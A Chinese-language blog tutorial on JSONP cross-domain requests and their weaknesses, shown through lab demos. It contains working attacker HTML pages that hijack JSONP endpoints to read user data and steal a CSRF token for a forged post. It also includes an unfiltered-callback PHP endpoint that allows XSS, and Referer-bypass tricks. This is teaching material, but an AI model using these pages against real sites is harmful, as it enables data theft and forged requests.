JSONP

JSONP的作用及用法

JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景,下面举两个实际利用例子
案例一:
我在服务器上放置了一个remote.json文件

callback({name:"ghtwf01",email:"xxx@xxx.vom"})

然后在本地发起请求,localhost和我服务器是不同域的,代码如下

<!DOCTYPE html>
<html>
<head>
    <title>jsonp test</title>
</head>
<body>
<script type="text/javascript">
function callback(json){
    alert("my name is:"+json.name+",my email is:"+json.email);
}
var s = document.createElement('script');
s.src = 'https://www.ghtwf01.cn/cookie/remote.json';
document.body.appendChild(s);
</script>
</body>
</html>

成功跨域请求到remote.json
1.jpg
案例二:
jsonp的服务对象有很多,不是所有服务对象本地写的函数名都是一样的,所以这里需要让服务端的脚本文件也是动态的,可以传入自己自定义的本地函数
服务端remote.php内容

<?php
    header('Content-type: application/json');
    //获取回调函数名
    $jsoncallback = htmlspecialchars($_REQUEST['callback']);
    //json数据
    $json_data = array(
        'name'=>'ghtwf01',
    'email'=>'xxx@xxx.com'
);
    //输出jsonp格式的数据
    echo $jsoncallback . "(" . json_encode($json_data) . ")"
?>

本地请求代码如下

<!DOCTYPE html>
<html>
<head>
    <title>jsonp test</title>
</head>
<body>
<script>
    function ghtwf01(data){
        alert("my name is:"+data.name+",my email is:"+data.email);
    }
</script>
<script src="https://www.ghtwf01.cn/cookie/remote.php?callback=ghtwf01"></script>

</body>
</html>

callback参数告诉服务器,我本地的函数名为ghtwf01,你需要生成一个能够被我调用的json文件,结果肯定是成功发起了跨域请求
2.jpg

Jquery实现JSONP

$.ajax

<!DOCTYPE html>
<html>
<head>
    <title>jsonp test</title>
    <script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<script type="text/javascript">
    $(document).ready(function(){
        $.ajax({
            type:"get",
            async:false,
            url:"https://www.ghtwf01.cn/cookie/remote.php",
            dataType:"jsonp",
            jsonp:"callback",//jsonp回调函数的参数名
            jsonpCallback:"ghtwf01",//自定义的jsonp回调函数名
            success:function(data){
                alert("my name is:"+data.name+",my email is:"+data.email);
            }
        });
    });
</script>
</body>
</html>

3.jpg

$.get

<!DOCTYPE html>
<html>
<head>
    <title>jsonp test</title>
    <script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<script type="text/javascript">
    $.get('https://www.ghtwf01.cn/cookie/remote.php?callback=ghtwf01',function(data){alert("my name is:"+data.name+"my email is:"+data.email);},'jsonp')
</script>
</body>
</html>

4.jpg

JSNOP漏洞

callback自定义导致XSS

JSNOP跨域中我们可以传入一个自定义函数名参数,服务端就会动态生成对应的JSNOP数据,这个时候如果对传入的参数处理不当,如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生

未设置Content-Type且未过滤

如服务端点代码如下

<?php
    //获取回调函数名
    $jsoncallback = $_REQUEST['callback'];
    //json数据
    $json_data = array(
        'name'=>'ghtwf01',
    'email'=>'xxx@xxx.com'
);
    //输出jsonp格式的数据
    echo $jsoncallback . "(" . json_encode($json_data) . ")"
?>

这个时候就能触发XSS
5.jpg

几种Content-Type设置防XSS验证

application/json

直接在头部加入header('Content-type: application/json');即可,代码如下

<?php
    header('Content-type: application/json');
    //获取回调函数名
    $jsoncallback = $_REQUEST['callback'];
    //json数据
    $json_data = array(
        'name'=>'ghtwf01',
    'email'=>'xxx@xxx.com'
);
    //输出jsonp格式的数据
    echo $jsoncallback . "(" . json_encode($json_data) . ")"
?>

这个时候就无法触发XSS,浏览器里面不会解析代码,所以也不会弹框
6.jpg

text/json

7.jpg
同样不会解析不会弹框

application/javascript和text/javascript

8.jpg
同样都不会解析不会弹框

JSNOP劫持

JSONP劫持其实和CSRF的攻击是类似的,只不过CSRF是提交表单请求,而JSONP劫持是将请求JSONP端点获取到的JSONP数据发往攻击者服务器中、实现获取JSONP敏感信息。因此,JSONP劫持的前提和CSRF是一样的,当服务端没有校验请求来源,如未严格校验Referer或未存在token机制等,都会导致JSONP劫持的产生。我们经常会听到JSON劫持和JSONP劫持,两者有啥区别,下面简单说下

JSON劫持

JSON劫持即JSON Hijacking,攻击过程类似CSRF,区别在于CSRF只管发送表单请求,但是JSON劫持则是获取JSON格式的敏感数据。通常,有些Web应用会把一些敏感数据以JSON形式返回到前端,如果仅仅通过cookie来判断请求是否合法,那么就可以利用类似CSRF的手段,向目标服务器发送请求,以获得敏感数据。当JSON数据响应给网站时,浏览器立即会调用数组或者对象的构造函数。正是利用这一点,把构造方法替换成恶意代码,在构造方法中添加将JSON数据发送给第三方即攻击者的代码。下面结合简单的示例讲下JSON劫持的原理,参考自https://blog.spoock.com/
比如目标站点存在可直接访问JSON数据,其可通过GET请求如www.good.com/user/mail.json来进行访问,同时这个请求没有对用户的身份进行严格的认证,那么当用户访问一个恶意站点的时候,恶意站点同样包含获取www.good.com/user/mail.jsonGET请求,再通过JSON劫持的方式就可以获取到用户的敏感JSON数据,然后发送到恶意的站点。
整个过程的流程图如下所示:
9.png
关键的步骤是第4步和第7步。当用户访问恶意站点之后,从正常站点将JSON数据下载下来之后,如何发送到恶意站点上去。
这里,我们的恶意页面仅仅是通过script标签的src属性进行导入:

<script src="www.good.com/data.json"></script>

总结一下,也就是当用户在已登录目标站点并保持着Cookie有效的情况下,被诱使访问了我们的恶意页面,而恶意页面是向目标JSON文件发起请求并获取响应;因为script标签会自动解析请求回来的JSON数据并生成对应的JS对象,此时我们只需要再通过Object.prototype.__defineSetter__这个函数来进行Hook,就能实现将获取到的JSON数据往外发送给攻击者,从而成功导致JSON劫持;但是该函数在当前的新版本chromefirefox中都已经失效了,浏览器早已对此JSON劫持漏洞进行了修补。

JSONP劫持

前面JSON劫持的通用方法其实已经早已被浏览器防御住了,但由于JSONP的出现,导致JSON劫持多了一种JSONP的形式,这是因为JSONP数据其实就是往JS函数中传参进行调用,这就导致了攻击者在恶意页面编写恶意的JS函数,通过JSONP的调用来执行该恶意JS函数、将敏感JSONP数据发往攻击者服务器中,看下面两个案例

JSONP劫持窃取用户信息

这里我们模拟一个登录站点,登录后可与JSONP端点交互获取用户信息;而攻击者则是在自己服务器放置恶意HTML文件来尝试劫持用户JSONP数据。
login.php,放置于目标站点,用于用户登录以及与JSONP端点交互获取用户信息:

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");
$name = $_GET['name'];
$pwd = $_GET['pwd'];
if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){
    $_SESSION['name'] = $name;
}
if (isset($_GET['logout'])) {
    if ($_GET['logout'] === '1') {
        unset($_SESSION['name']);
    }
}
echo '<a href="http://victim/jsonp.php?callback=jsonp">用户信息</a><br>';
echo '<a href="http://victim/login.php?logout=1">退出登录</a><br data-tomark-pass>';
if(!$_SESSION['name']){
    echo '<html>
    <head>
        <title>登录</title>
        <meta charset="utf-8">
    </head>
    <body>
        <form action="login.php" method="get">
            用户名:<input type="text" name="name">
            密码:<input type="password" name="pwd">
            <input type="submit" name="submit" value="login">
        </form>
    </body>
    </html>';
}else{
    echo "欢迎您, ".$_SESSION['name']."<br data-tomark-pass>";
}
?>

jsnop.php,放置于目标服务器中,JSONP端点,用于提供指定用户的信息,注意这里设置了Content-Typeapplication/json,防御了JSONP XSS漏洞

<?php
header('Content-type: application/json');
error_reporting(0);
session_start();
$callback = $_GET['callback'];
if($_SESSION['name'] === 'admin'){
        echo $callback."({'id':1,'name':'admin'})";
} elseif($_SESSION['name'] === 'guest') {
        echo $callback."({'id':2,'name':'guest'})";
} else {
        echo $callback."获取个人信息失败";
}
?>

attack.php攻击者攻击代码

<html>
<head>
    <title>attack</title>
    <meta charset="utf-8">
</head>
<script type="text/javascript"></script>
<script>
    function ghtwf01(data){
        console.log(data);
    }
</script>
<script src="http://victim/jsonp.php?callback=ghtwf01"></script>
<body>
    <h1>Welcome</h1>
</body>
</html>

用户不登录是无法获取到json信息的,JSNOP端点会根据用户名来判断返回的数据,此时是admin账户的信息
10.png
当用户访问到攻击者给的链接时,就会将数据发送给攻击者,这样就劫持到了敏感信息,当然也可以改一下js代码将敏感信息写入到文件中
11.png

JSONP劫持token

下面的示例模拟通过JSONP劫持窃取token来发表文章的情形
add_article.php,放置于目标服务器中,功能是发表文章,前提是token值成功校验通过:

<?php
if(!empty($_POST['token'])){
    $csrf_token = $_POST['token'];
    $title = $_POST['title'];
    $content = $_POST['content'];
    if ($csrf_token === 'ghtwf01_csrf_token_test')
    {
        echo '文章发表成功~'.'</br>';
        echo $title.'</br>';
        echo $content;
    }
    else
    {
        echo 'csrf token error';
    }
}
else
{
 echo 'no token';
}
?>

token.php,放置于JSONP端点,用于动态生成JSONP数据,其中包含token内容:
<

<?php
header('Content-type: application/json');
if(isset($_GET['callback'])){
    $callback = $_GET['callback'];
    print $callback.'({"username" : "ghtwf01", "password" : "ghtwf01", "token" : "ghtwf01_csrf_token_test"});';
} else {
    echo 'No callback param.';
}
?>

attack.html,攻击者用于诱使用户访问的文件,放置于攻击者服务器中,用于访问目标JSONP端点获取token之后,再带上该token向目标服务器的add_article.php发起请求来发表文章:

<html>
<head>
<title>JSONP Hijacking</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://127.0.0.1/jsonp/add_article.php" method="POST" id="csrfsend">
<input type="hidden" name="content" value="Hacked by ghtwf01">
<input type="hidden" name="title" value="23333">
<input type="hidden" id="token" name="token" value="">
</form>
<script type="text/javascript">
function ghtwf01(obj){
    console.log(obj);
    var token = obj["token"];
    document.getElementById("token").value = token;
    document.getElementById("csrfsend").submit();
}
</script>
<script type="text/javascript" src="http://127.0.0.1/jsonp/token.php?callback=ghtwf01"></script>
</body>
</html>

将链接发送给受害者访问此链接就发送了文章,实现了jsonp劫持token来了一波csrf
12.png

绕过Referer

有些时候,目标服务端会校验Referer字段,此时可以根据一些特定设置进行特定的绕过

空Referer

有时候程序对Referer进行了校验,但并未对空Referer进行校验,此时我们就可以使用置空的Referer请求来绕过。
实现发送空Referer的请求的方法有三种:

1.使用iframe标签+javascript伪协议
2.从HTTPS向HTTP发起请求
3.使用meta标签
使用iframe标签+javascript伪协议

jsonp.html,恶意页面,iframe标签通过javascript伪协议定义script标签的src属性来跨域访问目标JSONP端点,并显示data内容

<html>
<head>
<title>JSONP Hijacking</title>
<meta charset="utf-8">
</head>
<body>
<iframe src="javascript:'<script>function ghtwf01(o){console.log(o);}</script><script src=http://127.0.0.1/jsonp/token.php?callback=ghtwf01></script>'"></iframe>
</body>
</html>

这样还是获取到了数据,查看了一下此时就不存在Referer
13.png

使用meta标签

实现方法就是在我们实现的JSONP劫持的HTML文档中加上meta标签来实现:

<meta name="referrer" content="never">
<html>
<head>
<title>JSONP Hijacking</title>
<meta charset="utf-8">
<meta name="referrer" content="never">
</head>
<body>
<script>
function ghtwf01(obj){
    console.log(obj);
}
</script>
<script src=http://127.0.0.1/jsonp/token.php?callback=ghtwf01></script>
</body>
</html>

这样也是获取到了数据但是没有Referer
14.png

从HTTPS向HTTP发起请求

这种就不演示了

Referer过滤不严

当然,Referer过滤不严格的情况各种各样,具体的需要自行进行针对性的分析和绕过。
可以使用http://www.attack.com/attack.html?mi1k7ea.com这样的页面来发起攻击实现绕过Referer防御

参考链接

https://www.mi1k7ea.com/2019/08/20/JSONP%E8%B7%A8%E5%9F%9F%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#Referer%E8%BF%87%E6%BB%A4%E4%B8%8D%E4%B8%A5%E6%A0%BC
https://blog.spoock.com/